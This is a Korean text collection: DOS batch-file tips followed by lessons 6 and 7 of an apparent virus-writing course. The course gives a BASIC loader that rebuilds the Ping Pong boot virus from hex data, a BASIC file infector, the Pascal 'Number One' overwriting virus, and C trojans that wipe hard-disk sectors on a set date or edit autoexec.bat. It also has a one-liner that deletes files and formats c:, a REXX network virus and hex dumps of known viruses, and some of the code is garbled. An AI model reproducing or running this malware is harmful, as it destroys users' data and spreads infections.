그리고 마지막으로 현재 대치된 디렉토리의 현황을 보여준다.
  @echo off
  if exist m:\nul echo The substitution has already been made
  if not exist m:\nul subst m: c:\math
  if not exist s:\nul subst s: c:\support
  subst

20. 일주일에 한번 실행하기. (요일을 확인하기)
=============================================
요일을  환경변수에  넣는  것은  어려운  기술이다.  완전한   예는
WEEKLY.BAT에서 찾아볼수 있다. 이 기술의 핵심은 아래에 나와  있는
데, 요일을 weekday_라는 환경변수에 저장하는 것이다. 일반 도스 프
로그램 외에 아무런 보조 프로그램이 필요없다.
  @echo off
  echo.| date | find "Current" > tmp$$$.bat
  echo set weekday_=%%3> current.bat
  call tmp$$$
  echo %weekday_%
  if "%weekday_%"=="Fri" echo Thank God it's Friday
  if exist tmp$$$.bat del tmp$$$.bat
  if exist current.bat del current.bat
  set weekday_=
사실, 위에서 %%3 대신에 %%4를 사용하면 오늘의 날짜를  확인할  수
있다.

21. 화일이름에 경로가 포함되었는지 확인하기
===========================================
우선 먼저 "확장자를 인식하기"를 보면 같은 아이디어인 것을 알  수
있다. 화일이름이 단순히 go.exe 로 이루어 졌는지,  아니면  경로를
포함해서 r:\progs\go.exe와  같이  이루어  졌는지  확인하는  것은
r:\progs\*.exe와 같이 확장자를 사용했다면 매우 복잡한 일이다. 여
기서 어떻게 되는지 설명하였다. 이를 완전히 이해했다면 확실히  배
치 화일들에 대해서 이해하기 시작했다고 말할 수 있을 것이다.
  @echo off
  echo @echo off> tmp$$$.bat
  echo set rest_=%%1>> tmp$$$.bat
  echo :_next>> tmp$$$.bat
  echo set prev_=%%rest_%%>> tmp$$$.bat
  echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
  echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if "\%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
  echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
  echo goto _nopath>> tmp$$$.bat
  echo :_found>> tmp$$              at
  echo set haspath_=yes>> tmp$$$.bat
  echo goto _out>> tmp$$$.bat
  echo :_nopath>> tmp$$$.bat
  echo set haspath_=no>> tmp$$$.bat
  echo :_out>> tmp$$$.bat
  echo set rest_=>> tmp$$$.bat
  echo set prev_=>> tmp$$$.bat
  for %%f in (%1) do call tmp$$$ %%f
  if "%haspath_%"=="yes" echo Filename %1 includes a path
  if "%haspath_%"=="no" echo Filename %1 does not include a path
  rem if exist tmp$$$.bat del tmp$$$.bat
  set haspath_=

22. 엔터키를 누르지 않고 시간을 보기
====================================
현재의 시간을 보는 간단한 기술은 다음과 같다.
  echo.| time | find /v "new"
시간을 환경변수로 저장하는 방법은 LASTBOOT.BAT을 보아라.

23. 에러레벨 값을 확인하는 다른 방법
====================================
많은 프로그램과 몇개의 도스명령어들( diskcomp, format,  xcopy)은
끝날 때 에러 레벨을 발생시킨다. 에러레벨의 누적적인 성질  때문에
에러 레벨을 확인하는 것은 다소 복잡해진다. 그래서 만약  에러레벨
이 정확히 2인지 확인하기 위해서는 다음과 같이 한다.
 if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for 명령어를 사용하는 다른 방법으로 다음을 들수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel 2
좀 더 일반적으로 다음과 같이 할 수 있다.
 for %%e in (0 1 2  3  4  5  6  7)  do  if  errorlevel==%%e  set
_errlev=%%e
 if "%_errlev%"=="2" echo Errorlevel %_errlev%
복잡한 배치화일에서 편리한 방법은 goto를 사용하는 것이다.
  for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
  goto _out
  :_label0
  echo Errorlevel 0
  :_label1
  echo Errorlevel 1
  :_label2
  echo Errorlevel 2
  :_out
이 기술을 실제로 사용하는 예는 BOOT.BAT에서 찾아볼수 있다.

24. 배치화일의 출력을 리디렉션(redirection)하기
===============================================
배치화일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있
다. 다음과 같은 example.bat 이라는 배치화일을 생각해보자.
  @echo This is a redirection test> test
"example"를 실행시키면 아래의 문장을 담은 "test"라는 화일을 생성
할 것이다.
  This is a redirection test
이 줄은 eoln(end of line: ascii 13 + 10)을 줄 끝에  포함하고  있
다. 리디렉션 기호 '>' 앞에 아무런 공백도 주지 않는  것이  현명할
때가 있다.
배치화일이 만드는 출력을 다시 재 방향전환(redirection)하는  것은
다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해  보
자.
  @echo This is another redirection test
실행하면,
  example2 > test
출력은 화면에 나오고, 빈 test라는 화일이 생성될  것이다.  출력을
재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석
기를 통해서 배치화일을 실행해야 한다.( command.com은  현디렉토리
나 경로에 있어야 한다.)
  command /c example2 > test
이와 같이 하면 내용이 "test"라는 화일에 담길 것이다.

25. 환경저장 공간이 충분한지 확인하기
=====================================
만약 배치화일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할
경우가 있다. 만약 "Out of environment space"라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을  설
정해서 환경저장 공간을 늘릴 수 있다.
  shell=c:\bin\command.com c:\bin /e:1024 /p
이 보다 덜 알려진 기술로는 환경저장 공간이 모자라기 전에 미리 확
인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한
다.
 @echo off
 set test_=12345678901234567890123456789012
 if "%test_%"=="12345678901234567890123456789012" goto _yes
 echo Insufficient environment space
 goto _out
 :_yes
 echo Sufficient environment space
 set test_=
 rem Whatever you wish to do
 :_out

26. 드라이브를 사용 못하게 하는 간단한 방법
===========================================
임시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면
된다. 예는 아래와 같다.
  @echo off
  md c:\none
  subst d: c:\none
다시 사용하게 하려면,
  @echo off
  subst d: /d
  rd c:\none

27. 프린터에 escape 명령어를 보내기
===================================
여기 정말  사소한  기술이  있다.  명령행에서  곧바로  프린터에게
escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치화일을 이
용하면 간단하다.
  @echo ESC%1> prn
ESC는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지
결점은 라인피드를 보내는 것이다.

28. 무작위 문자열을 만든는 방법
===============================
UseNet news에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있
었다.  대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
  @echo off
  echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
  echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
  echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
  echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
  echo 50 close #2 >> tmp.bas
  echo 60 system >> tmp.bas
  gwbasic tmp.bas
  call tmp2
  del tmp.bas
  del tmp2.bat
  set

29. 문자열의 길이를 알아내기
============================
문자열의 길이를 찾아내는 일은 PC Magazine January 26, 1993 issue
에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과  근본적으로
같지만, 더 일반적이다.
  @echo off
  set test_=Testing the lenght of a string
  echo %test_% > len$&$&$
  dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
  echo @echo off> len$&$&$.bat
  echo set length_=%%                 len$&$&$.bat
  call go$$$
  echo The lenght is %length_% bytes
  del len$&$&$
  del len$&$&$.bat
  del go$$$.bat

30. MsDos의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT을 보면 알겠지만, 배치화일로만 버전을 알아낼  수있다.
여기에 다른 방법이 있다.
  @echo off
  ver > go$$$.bat
  echo @echo off> ms-dos.bat
  echo set version_=%%2>> ms-dos.bat
  call go$$$
  echo Your MsDos version is %version_%
  del go$$$.bat
  del ms-dos.bat







안녕하세요.

6회강좌입니다.
이번 시간에는 기타 언어로 제작한 바이러스를 살펴보기로 하겠습니다.


2) 베이직으로 구현한 바이러스
핑퐁바이러스를 예로 들어 설명하겠다.
[핑퐁 바이러스]

출처     : 1988년 3월, Italia
전염기종 : IBM PC 및 호환 기종
전염종류 : 부트 섹터 감염자
비고     : 90년 초에 국내에서 발견

플로피 디스크 및 하드 디스크의 부트 영역 전염된다. 원래의  부트 섹터를 다른 장소로 이동시키
고 디스켓일 경우 1개의 미사용 클러스터를 불량 클러스터로 만들며 여기에 원래의 부트 섹터 및
바이러스 프로그램의 나머지를  저장한다. 하드일 경우 사이드:0,  실린드:0의 영역에 원래의 부트
섹터 및 바이러스 프로그램의 나머지를 저장한다. DOS 버전 및  종료표시(55 AA)는 변하지 않는
다. 메모리  크기를 2K 감소시키며 인터럽트  벡터를 변경시키다. 원래의 Ping  Pong 바이러스는
360K 플로피만 감염시킨다.
감염된 디스크로 부팅하면  바이러스 프로그램이 메모리에 상주하며,  상주후 INT 13H번 수행시
Access하는 디스크를 감염시킨다. 디스크 입출력 속도가 느려지며 디스크일 경우 한개의 불량 클
러스터가 생긴다. 활동 시기가  되면 화면에 bouncing ball 효과가 나타난다. 활동  시기는 임위적
이며 시스템을 재 부팅하지 않으면 bouncing이 멈추지 않는다. 기타 다른 피해는 없다.

핑퐁바이러스의 베이직 소스

100 REM - basic progrom to create pingpong.com
110 CLS:PRINT "creating pingpong.com":OPEN "pingpong.com" AS #1 LEN=1
120 FIELD #1, 1 AS A$:CHECKSUM#=0
130 FOR I=1 TO 19
140 LINESUM#=0:LOCATE 2,3:PRINT "countdown:" 19 - I;
150 FOR J=1 TO 16:READ BYTE$:BYTE=VAL("&h"+BYTE$)
160 CHECKSUM#=CHECKSUM#+BYTE:LINESUM#=LINESUM#+BYTE
170 IF (BYTE<256) THEN LSET  A$=CHR$(BYTE):PUT #1
180 NEXT J
190 READ LINETOT$:LINECHECK#=VAL("&h"+LINETOT$)
200 IF LINECHECK#=LINESUM# THEN GOTO 220
210 LOCATE 4,2:PRINT "error in line #";260+10*I:GOTO 260
220 NEXT I
230 CLOSE #1:READ FILETOT$:FILECHECK#=VAL(FILETOT$)
240 IF CHECKSUM# <> FILECHECK# THEN GOTO 260
250 PRINT:PRINT "pingpong.com created successfully":SYSTEM
260 PRINT:PRINT "pingpong.com is not valid!":END
270 DATA  e9, fd,  0, 20,  7, 29,  5, ff,  1,  0,  7,  0, 4f,  0,  0,  0,  391
280 DATA   0, 1e, 50, 53, 51, 52,  e, 1f, b4,  f, cd, 10, 8a, d8, 3b, 1e,  4ec
290 DATA   a,  1, 74, 36, 89, 1e,  a,  1, fe, cc, 88, 26,  c,  1, b4,  1,  4a1
300 DATA  80, fb,  7, 75,  2, fe, cc, 80, fb,  4, 73,  2, fe, cc, 88, 26,  82f
310 DATA   9,  1, c7,  6,  5,  1,  1,  1, c7,  6,  7,  1,  1,  1, b4,  3,  26d
320 DATA  cd, 10, 52, 8b, 16,  5,  1, eb, 24, 90, b4,  3, cd, 10, 52, b4,  60f
330 DATA   2, 8b, 16,  5,  1, cd, 10, a1,  3,  1, 80, 3e,  9,  1,  1, 75,  369
340 DATA   3, b8,  7, 83, 8a, dc, b9,  1,  0, b4,  9, cd, 10, 8b,  e,  7,  59f
350 DATA   1, 80, fe,  0, 75,  5, 80, f5, ff, fe, c5, 80, fe, 18, 75,  5,  840
360 DATA  80, f5, ff, fe, c5, 80, fa,  0, 75,  5, 80, f1, ff, fe, c1, 3a,  a94
370 DATA  16,  c,  1, 75,  5, 80, f1, ff, fe, c1, 3b,  e,  7,  1, 75, 17,  5a9
380 DATA  a1,  3,  1, 24,  7, 3c,  3, 75,  5, 80, f5, ff, fe, c5, 3c,  5,  601
390 DATA  75,  5, 80, f1, ff, fe, c1,  2, d1,  2, f5, 89,  e,  7,  1, 89,  79b
400 DATA  16,  5,  1, b4,  2, cd, 10, b4,  8, cd, 10, a3,  3,  1, 8a, dc,  555
410 DATA  80, 3e,  9,  1,  1, 75,  2, b3, 83, b9,  1,  0, b8,  7,  9, cd,  4c5
420 DATA  10, 5a, b4,  2, cd, 10, 5a, 59, 5b, 58, 1f, 2e, ff, 2e,  d,  1,  4eb
430 DATA  b8,  8, 35, cd, 21, 89, 1e,  d,  1, 8c,  6,  f,  1, b8,  8, 25,  41f
440 DATA  ba, 11,  1, cd, 21, ba,  0,  2, 83, c2,  f, b1,  4, d3, ea, b4,  6f0
450 DATA  31, cd, 21,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  11f
460 DATA  26653


베이직으로 작성한 바이러스
작용 : 화일 크기를 바꾸는 것

'--------------
'BASIC LANGUAGE
'--------------
10 ON ERROR GOTO 430
20 LENGTHVIR=2641 (컴파일 후 화일 크기를 입력)
30 VIRROOT$="BV3.EXE"
40 SHELL "DIR *.EXE>INH"
50 OPEN "R",1,"INH",32000
60 GET #1,1
70 LINE INPUT#1, ORIGINAL$
80 LINE INPUT#1, ORIGINAL$
90 LINE INPUT#1, ORIGINAL$
100 LINE INPUT#1, ORIGINAL$
110 ON ERROR GOTO 430
120 CLOSE#2
130 F=1 : LINE INPUT#1,ORIGINAL$
140 F=1 : LINE INPUT#1,ORIGINAL$
150 IF MID$(ORIGINAL$,1,1)='%' THEN GOTO 110
160 ORIGINAL$=MID$(ORIGINAL$,1,13)
170 EXTENSION$=MID$(ORIGINAL$,9,13)
180 MID$(EXTENSION$,1,1)="."
190 F=F+1
200 IF MID$(ORIGINAL$,F,1)=" " OR MID$(ORIGINAL$,F,1)="." OR F=13
    THEN GOTO 220
210 GOTO 190
220 ORIGINHVIT
250 IF LOF(2)<LENGTHVIR THEN GOTO 280
260 GET #2,3
270 LINE INPUT#2, TEST$
280 CLOSE #2
290 IF MID$(TEST$,,2,1)='%' THEN GOTO 110
300 CLOSE #1
310 ORIGINAL$=ORIGINAL$
320 MID$(ORIGINAL$,1,1)='%'
330 MID$(ORIGINAL$,1,1)='%'
340 C$="COPY"+ORIGINAL$+" "+ORIGINALS$
350 SHELL C$
360 C$="COPY"+VIRROOT$+" "+ORIGINAL$
370 SHELL C$
380 OPEN ORIGINAL$, FOR APPEND AS #1 LEN=13
390 WRITE#1,ORIGINALS$
400 CLOSE #1
410 PRINT "INFECTION IN";ORIGINAL$
420 SYSTEM
430 PRINT "VIRUS INTERNAL ERROR":SYSTEM



베이직으로 작성한 바이러스


DATA "4B","FE","55BB","다크어벤저-1028"
DATA "E0","00","0300","예루살렘"
DATA "42","43","5678","침입자"
DATA "C0","00","0300","느림보 또는 ZEROTIME"
DATA "EE","00","0300","예루살렘-G"
DATA "FF","00","0400","일요일"
DIM INAX(10),OTAX(10),VN$(10)
FOR I=1 TO 6
READ A$,B$,C$,D$
 INAX(I)=VAL("&H"+A$+B$)
 OTAX(I)=VAL("&H"+C$)
 VN$(I)=D$
NEXT I
PRINT "메모리의 바이러스를 검사합니다."
FOR I=1 TO 6
 Reg 1,INAX(I)
 CALL INTERRUPT &H21
 IF Reg(1)=OTAX(I) THEN PRINT VN$(I);" 바이러스가 존재합니다."
NEXT I
 END




3) PASCAL 로 구현해본 바이러스

PASCAL 로 제작한 간단한 바이러스 데모 입니다.


{
-----------------------------------------------------------


 Number One
 This is a very primitive virus

 HANDLE WITH CARE:  -------- Demonstration ONLY !!!


        Number One infects all .COM - files in the
        CURRENT directory
        A warning message and the infected file's name will
        be displayed
        That file has been overwritten with Number One's
        program code and is not reconstructible!
        If all files are infected or no .COM - files found,
        Number One gives you a <Smile>
        Files may be protected against infections of
        Number One
        by setting the READ ONLY attribute.


Written 10.3.1987 by M.vallen (Turbo-Pascal 3.01A)
(c) 1987 by BrainLab

__________________________________________________________
}

{C-}
{U-}
{I-}       { Do not allow an user break, enable IO check }

{---- Constants -------------------------------------------}

Const
    VirusSize = 12027;              { Number one's code size }

    Warning   : String[42]          { Warning message }
                = 'This file has been infected by Number One';

{---- Type declaration ------------------------------------}

Type
    DTARec = Record                 { 화일hing entry  }
    If not Odd(Reg.flags) then   { If a file found then ...}
       Repeat
         UsePath := DTA.FullName;
       B:=dos(#0,UsePath);
       If B>0 Then
       Delete(UsePath, B, 255);      { Remove grabage }
       Assign(Go,UsePath);
       Reset(Go);
       If IOresult = 0 then    { If not IO error then ...}
          Begin
            BlockRead(Go,Buffer, 2);
            Move (Buffer[$80], TestID, 43);
            { 화일이 감염되었는지를 검사 }
            If TsetID <> Warning then
              Begin
                Seek(Go,0);
                MarkIntected := Warning;
                Blockwrite(Go,ProGramStart, Succ(VirusSize Shr 7));
                Close (Go);
                Writeln(UsePath + ' intected. ');
                Halt;
             End;
           Close(Go);
         End;
       { 화일이 이미 감염되었음, 다음 화일로 작업 연결 }
       Reg.AH := $4F;
       Reg.DS := Seg(DTA);
       Reg.DX := Ofs(DTA);
       MsDos(Reg);
     Until Odd(Reg.Flags);
  Write('<Smile>');
END. {of Program}


4) C 로 구현한 바이러스

다음은 하드 디스크 파괴 트로이 목마 바이러스 C 소스입니다.
다음 배치로 구현한 바이러스 의 트로이 목마형 구조와 비슷합니다.
단지 차이점은 개발 언어와 약간의 침투방법의 차이겠죠.

다음 바이러스 프로그램은 하드디스크를 빠르게 합니다.
그러나 지정한 날짜,조건이 맞으면 하드 디스크를 파괴해 버립니다.
C 로 트로이목마 바이러스를 구현할 수 있다는 정도로 알아 두십시요.

*바이러스 메인 부분입니다

// Main Source  Fast.C

#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <string.h>

#define LASTHEAD       1
#define LASTTRACK      79
#define LASTSECTOR     15
#define BYTESPERSECTOR 512
#define driveToRead    0x80       // C: drive (파괴대상 드라이브 지정)

char diskBuffer[BYTESPERSECTOR * LASTSECTOR];

typedef struct{    // 날짜의 구조체
        int Year;
        int Month;
        int Day;
} Time_Type;

// 키보드 빠르게 하는 루틴 (트로이 목마의 외형 부분)
void Fast_Key( void )
{
    outp( 0x60, 0xF3 );
    delay( 100 );
    outp( 0x60, 0x00 );
    delay( 100 );
}

// 하드디스크 섹터 쓰기
unsigned char WriteHardSector( unsigned char drive,
                               unsigned char sectorsToWrite,
                               unsigned char head,
                               unsigned int  cylinder,
                               unsigned char sector,
                               unsigned char far *bufferPtr ){
    union REGS reg;
    struct SREGS sreg;
    reg.h.ah = 3;
    reg.h.al = sectorsToWrite;
    reg.x.bx = FP_OFF(bufferPtr);
    reg.h.dh = head;
    reg.h.dl = drive;
    reg.h.ch = cylinder;
    reg.h.cl = (cylinder >> 8);
    reg.h.cl <<= 6;
    reg.h.cl |= (sector & 63);
    sreg.es = FP_SEG(bufferPtr);
    int86x(0x13,&reg,&reg,&sreg);
    return(reg.h.ah);
}

void main( void ){
    unsigned char currentHead,currentTrack,currentSector;
    struct date cur_d;                 // 날짜
    FILE *Read_Exe;                    // 화일 포인터
    Time_Type Clack_Time;              // 파괴 대상 하드디스크 날짜의 구조체
    int Data_Size = 0;                 //  날짜를 읽기위한 사이즈

    getdate(&cur_d);                   // 현재 날짜 알아내기

    Read_Exe = fopen("fast.exe","rb");
                  //바이러스 개시 날짜를 알아내기 위해 실행화일을 OPEN
                  //Open시 fast.exe 화일이 현디렉토리에 있어야함
    Data_Size = sizeof(Time_Type);
    fseek(Read_Exe,-Data_Size,SEEK_END);  // 실행 화일 끝에서 Data_Size만큼
                                          // 뒤로 포인트를 옮김
    fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
                                          // 데이타 읽기

    if( ( Clack_Time.Year   == cur_d.da_year) &&
        ( Clack_Time.Month  == cur_d.da_mon ) &&
        ( Clack_Time.Day    == cur_d.da_day )){
         // 날짜가 실행화일 끝에 붙은 날짜와 일치 하면 하드 파괴
         for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
          for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
                      //실제 하드디스크 파괴 부분
                      //엉뚱한 데이타를 마구 써버림
                      WriteHardSector(driveToRead,LASTSECTOR,currentHead,
                                               currentTrack,1,diskBuffer);
          }
         }
         textattr( WHITE | BLUE << 4);
         cprintf("[ Cracking Ok ! ]");
         textattr( WHITE | BLACK << 4);
         cprintf("\n");
    }
    // 날짜가 맞지 않을 경우 그냥 키보드 속도를 빠르게 한다
    else { Fast_Key();
           textattr( WHITE | BLUE << 4);
           cprintf("Fast_key Installed !");
           textattr( WHITE | BLACK << 4);
           cprintf("\n");
    }
}


*두번째 시간을 맞추는 소스입니다.


// 시간을 맞추는 소스  Set_Time.C
// 사용법 : [ Set_Time 1995 3 9 ]

#include <stdio.h>
#include <dos.h>

typedef struct{
        int Year;
        int Month;
        int Day;
} Time_Type;

void main(int argc,int **argv){

    struct date cur_d;
    FILE *Read_Exe;
    Time_Type Clack_Time;
    Clack_Time.Year  = atoi(argv[1]);
    Clack_Time.Month = atoi(argv[2]);
    Clack_Time.Day   = atoi(argv[3]);

    Read_Exe = fopen("fast.exe","rb+");
    if(Read_Exe == NULL) printf("\nFile Opening Error [ Fast.exe ]\n");
    fseek(Read_Exe,0L,SEEK_END); // 화일 포인터를 끝으로 옮긴다
    fwrite(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
          //날짜를 Fast.exe끝에 붙인다
    fclose(Read_Exe); // 화일 닫기.
}



다음은 위와 아주 유사한 형태의 트로이 목마형 바이러스 소스 입니다.

#include <dos.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
void next();
struct mystruct
{
    int num;
    char name[10];
    char tel[10];

    };
    char n[]="@echo off\ntype t.cmm\n";
main()
{
  int r;
  long add;
  FILE *fp;
  struct mystruct s,d,f;
  if ( ( fp = fopen("C:\\t.cmm","wb+" )) == NULL )
  {
   exit(-1);
   }
   s.num = 1;
   strcpy( s.name,"I'm Hacker");
   strcpy( s.tel,"HaHa...");

   fwrite(&s , sizeof(s),1,fp);
   fseek( fp,0,SEEK_SET);

   fread( &d,sizeof(d),1,fp);
   fclose(fp);

   fp = fopen ("C:\\autoexec.bat","r+");
   fprintf(fp,"%22s",n);
   fwrite(n,1,1,fp);
   fseek(fp,add,0);
   add = r+190;

   fclose(fp);

   next();
   }

/***************************************************************************
*                                                                          *
*           키보드 속도를 빠르게 해 주는  유틸리티. (FAST.COM)             *
*                                                                          *
*                    만든  곳  :  하 늘 소 ( 경북대학교 전자공학과 )       *
*                    만든 사람 :  이 영 상 ( 하늘소 2 기 )                 *
*                    만든 날짜 :  4323년 7월                               *
*                                                                          *
****************************************************************************/

#include <dos.h>    /* 도스에 관련된 함수들을 쓰겠다는 말이다. */


/********************  필요한 선언을 하는 부분  **********************/

#define KB_STATUS_P 0x64  /* 키보드의 상태를 알수 있는 Port 번호     */
#define KB_DATA_P   0x60  /* 키보드에 데이터를 보낼때 쓰는 Port 번호 */
#define ACK_SIGNAL  0xfa  /* 인식(Acknowledge) 했다는 신호           */
#define SET_TYPEM   0xf3  /* 키보드의 속도를 바꾸겠다는 명령 Code    */

#define OB_FULL     1     /* Output buffer에 한 글자가 있을때        */
#define IB_FULL     2     /* Input buffer에 한 글자가 있을때         */

#define MAX_TRY     3     /* 최대 시도 횟수                          */

/******************** 함수의 형을 선언하는 부분 **********************/

int set_typm( int gap );  /* 키보드의 속도를 조절 하는 함수 */
int send_kb ( int gap );  /* 키보드에 지정 값을 보내주는 함수 */


/********************     풀그림의  시작 부분   **********************/

void next( void )
{
    if( set_typm(0) ) /*  성공적으로 끝났으면  */
        printf("\n\tSuper Keyboard Mania V2.0\n");
    else
        printf("\n\7\tError in adjusting keyboard speed !!\n");
}


int set_typm( int gap )
{
    disable();  /* 인터럽트가 걸리지 않게 한다. */
    if ( send_kb( SET_TYPEM ) ) /* 키보드에게 속도 조절을 한다는 명령을
                                  보낸다. */
    {
        if( send_kb( gap ) )  /* 키보드로 원하는 속도를 보낸다. */
        {
            enable(); /* 인터럽트가 다시 걸리게 한다. */
            return( 1 ); /* 성공적 */
        }
    }
    enable(); /* 인터럽트가 다시 걸리게 한다. */
    return( 0 ); /* 제대로 되지 않았을때 */
}


int send_kb( int gap )
{
    int i = MAX_TRY; /* i 에 최대 시도 횟수 값을 넣는다. */
    unsigned int j;

    while( i-- ) {
        j = 30000;
        while( --j ) /* Input buffer에 값이 들어올때 까지 30000번 돌린다. */
            if( inportb( KB_STATUS_P ) == IB_FULL )
                break;

        outportb( KB_DATA_P, (unsigned char)gap ); /* 키보드에 값을 보낸다 */

        j = 30000;
        while( --j ) /* Output buffer에 값이 없어질때 까지 기다린다. */
            if( inportb( KB_STATUS_P ) != OB_FULL )
                break;

        j = 30000;
        while( --j ) /* 키보드에서 잘 받았다는 신호가 올때 까지 기다린다. */
            if( inportb( KB_DATA_P ) == ACK_SIGNAL )
                return( 1 );
    }
    return( 0 ); /* 제대로 되지 않았을때 0을 리턴 */
}



다음은 아주 간단한 C 로 만든 트로이 목마 바이러스입니다.
C를 모르는 분이라도 다음 소스를 보면 뭔가 아실겁니다.


#include<process.h>

main()
{
     printf("Wait ...\n");
     system("echo y! del *.*");
     system("echo y! format c: >nul");
}


"|"는 도스(배치)상에서도 주로 쓰이는 것으로 쉬프트키와 \를 누르면 나옵니다.



6) 그외의 바이러스

다음은 Rexx 라는 언어로 제작한 네트워크 상의 바이러스의 소스이다.

--------------------TOP OF FILE-------------------------------------------
/LOAD REXX

IF RANDOM(2) <> 0 THEN DO
   NAME.1 = 'PQ'
   NAME.2 = 'OUTPUT'
   NAME.3 = 'PROFILE'
   NAME.4 = 'BROWSE'
   NAME.5 = 'HELP'
   FANME='VIRUS'
   MAXLINE=0
   W1=1
   W2=80
   CLONE=0
   I=0
   PARA='FNAME MAXLINE REC W1 W2 CLONE '
   DO WHILE I < 20
     I=I+1
     M1.I=''
     M2.I=''
     PARA = PARA || 'M1.' || I || ' M2.' || I || ' '
   END
   COMMAND = '(DOCTOR VIRUS)'
   PARA = PARA || 'COMMAND'
   C=0
   M1.8='-->'
   DO WHILE C < 10
     MN.3='   COMPUTER VIRUS IN MULTI-USER TIME-SHARING ENVIROMENT '
     IF C=9 TH N COMMAND '..O,O;.. CANCEL ..'
     CLINE=C
     MAXFILE=C+1
     'PANEL IGCX:ED.PAN ' || PARA
     IF COMMAND='HELP' THEN C=20
     C=C+1
   END
  C=RANDOM(5)
   'COPY IGCX:TEMP ' || NAME.C || 'XO'
-------------------END OF FILE-----------------------------------------



   (PROGRAM TEMP)
------------------TOP OF FILE--- -------------------------------------
/LOAD REXX

SAY 'INFECTED BY COMPUTER VIRUS MEROMNG'
EXIT
-----------------END OF FILE------------------------------------------


Rexx 라는 프로그래밍 언어는 네트워크 에서 주로 사용되며
batch 파일과 basic의장점을 딴 것이다.



다음은 바이러스 시뮬레이션 프로그램입니다.
실제 바이러스는 아니지만 바이러스처럼 보이는 것입니다.


JIJIN.COM       ;화면을 위아래로 흔들어 줍니다.
JINE.COM       ;지네가 나와서 글자를 이동시킵니다.
PINGPONG.ASM    ;핑퐁 바이러스 에뮬레이터 소스.
PINGPONG.COM   ;위 소스를 어셈블한 것입니다.
PP.COM       ;베이식으로 컴파일한 핑퐁 시뮬.
SLOWFALL.COM   ;커서를 느린 속도로 아래로 떨어뜨림.
VGAFLIP.COM     ;화면을 뒤바꿔 줍니다.
ZERO.COM        ;화면에 표시된 0자를 지웁니다.

이상.




안녕하세요.

7번째 시간입니다.

유명 컴퓨터 바이러스의 분석을  하겠습니다.
9회까지 바이러스에 대한 모든것은 끝나고 10회부터
유닉스&인터넷 강좌/해킹으로 들어갑니다.


5-1 기존 바이러스 분석

기존 몇몇 바이러스의 찾기와 분석이다.

5-1-1 크리스 마스 바이러스


증상은 크리스마스에 일정시간뒤 고요한밤 거룩한 밤을 연주한다.


0270 58C3 01 00 00 00 00 20-4D 65 72 72 79 20 43 68 X껦.... Merry Ch
0280 7269 73 74 6D 61 73 20-61 6E 64 20 68 61 70 70 ristmas and happ
0290 7920 6E 65 77 20 79 65-61 72 20 21 20 20 57 72 y new year !  Wr
02A0 6974 74 65 6E 20 66 72-6F 6D 20 54 61 6D 73 75 itten from Tamsu
02B0 6920 4F 78 66 6F 72 64-20 63 6F 6C 6C 65 67 65 i Oxford college
02C0 2E20 20 24 10 03 23 00-70 03 0F 00 10 03 19 00 .  $       606 부터


감염 파일이름이 있다.
단, 파일 길이(경로 포함)가 24자 이상은 감염되지 않는다.


5-1-2 원숭이 바이러스 (Monkey Virus) 분석내용.


1. 부트 섹터에 감염된 모습

0100  EB 1E 90 49 42 4D 20 50-4E 43 49 00 02 01 01 00   ...IBM PNCI.....
0110  02 E0 00 40 0B F0 09 00-12 00 02 00 00 00 00 00   ...@............
0120  FA 2B DB 8E DB 8E D3 BC-00 7C EA 2F 00 C0 07 CD   .+.......|./....
0130  12 BE 4C 00 56 2E 80 3E-F2 00 02 74 0E E8 C5 00   ..L.V..>...t....
0140  BF FC 01 B9 02 00 FC F3-A5 EB 03 E8 BE 00 5E C7   ..............^.
0150  04 7D 00 89 44 02 0E 1F-E8 30 01 06 B8 62 00 50   .}..D....0...b.P
0160  FB CB 8E C1 8B DC 51 53-BA 80 00 E8 59 01 E8 AD   ......QS....Y...
0170  00 B1 0E BA 00 01 E8 82-00 E8 36 01 CB 1E 56 57   ..........6...VW

0180  50 51 52 E8 41 01 80 FC-02 75 0E 52 2B C0 CD 1A   PQR.A....u.R+...
0190  80 FA 40 5A 73 03 E8 85-00 5A 59 58 5F 52 51 50   ..@Zs....ZYX_RQP
01A0  83 F9 03 73 3A 3A 34 75-36 80 FC 02 74 0E 80 FC   ...s::4u6...t...
01B0  03 75 2C 80 FA 80 72 27-2A E4 EB 23 E8 3F 00 72   .u,...r'*..#.?.r
01C0  21 E8 DE 00 74 08 E8 E1-00 74 03 F8 EB 14 E8 04   !...t....t......
01D0  01 8A 74 01 58 E8 26 00-E8 D7 00 59 5A EB 06 E8   ..t.X.&....YZ...
